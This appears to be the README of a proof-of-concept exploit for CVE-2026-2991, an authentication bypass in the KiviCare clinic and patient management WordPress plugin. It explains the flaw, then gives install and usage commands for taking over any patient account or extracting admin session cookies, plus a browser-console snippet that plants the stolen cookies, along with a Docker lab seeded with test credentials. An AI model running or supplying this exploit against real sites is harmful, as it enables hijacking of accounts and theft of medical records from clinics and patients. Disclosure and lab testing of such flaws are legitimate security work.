
PoC exploit for CVE-2026-2991 — authentication bypass in KiviCare WordPress plugin (≤4.1.2) allowing unauthenticated patient account takeover and admin session extraction.
CVE-2026-2991 is an authentication bypass vulnerability in the KiviCare – Clinic & Patient Management System (EHR) WordPress plugin affecting all versions up to and including 4.1.2.
The plugin exposes a public REST endpoint at /wp-json/kivicare/v1/auth/patient/social-login that authenticates users via social login. The patientSocialLogin() function accepts an email address and an access token but never validates the token against the claimed social provider. Any unauthenticated attacker can log in as any registered patient by supplying only their email and an arbitrary string as the token.
Additionally, WordPress authentication cookies are issued before the patient-role check is enforced. This means that for non-patient accounts (including administrators), the response returns HTTP 403 but still includes valid Set-Cookie headers — leaking a replayable admin session to the attacker.
Affected versions: kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
Bypass authentication for a registered patient. The script returns their full session, including a nonce and replayable cookies.
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

Supply the email of any non-patient user (e.g. an administrator). The endpoint issues valid auth cookies before the role check and returns 403 — those cookies are extracted and printed.
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

After a successful run the script prints a JavaScript snippet. Open the target site in your browser, paste the snippet into the browser console (F12 → Console), and press Enter — it sets the stolen cookies and navigates you to the dashboard automatically.
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
A self-contained Docker Compose environment with the vulnerable plugin pre-installed and seeded with realistic test data. Check DOCKER.md for more details.
cd docker/
docker compose up
The lab seeds the following accounts on first boot:
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by this tool.
| Role | Username | Password |
|---|
| Admin | admin | [email protected] | admin |
| Doctor | dr.harris | [email protected] | Doctor@123 |
| Doctor | dr.chen | [email protected] | Doctor@123 |
| Doctor | dr.okonkwo | [email protected] | Doctor@123 |
| Patient | james.ford | [email protected] | Patient@123 |
| Patient | sofia.reyes | [email protected] | Patient@123 |
| Patient | oliver.knight | [email protected] | Patient@123 |
| Patient | amara.diallo | [email protected] | Patient@123 |
| Patient | dan.walsh | [email protected] | Patient@123 |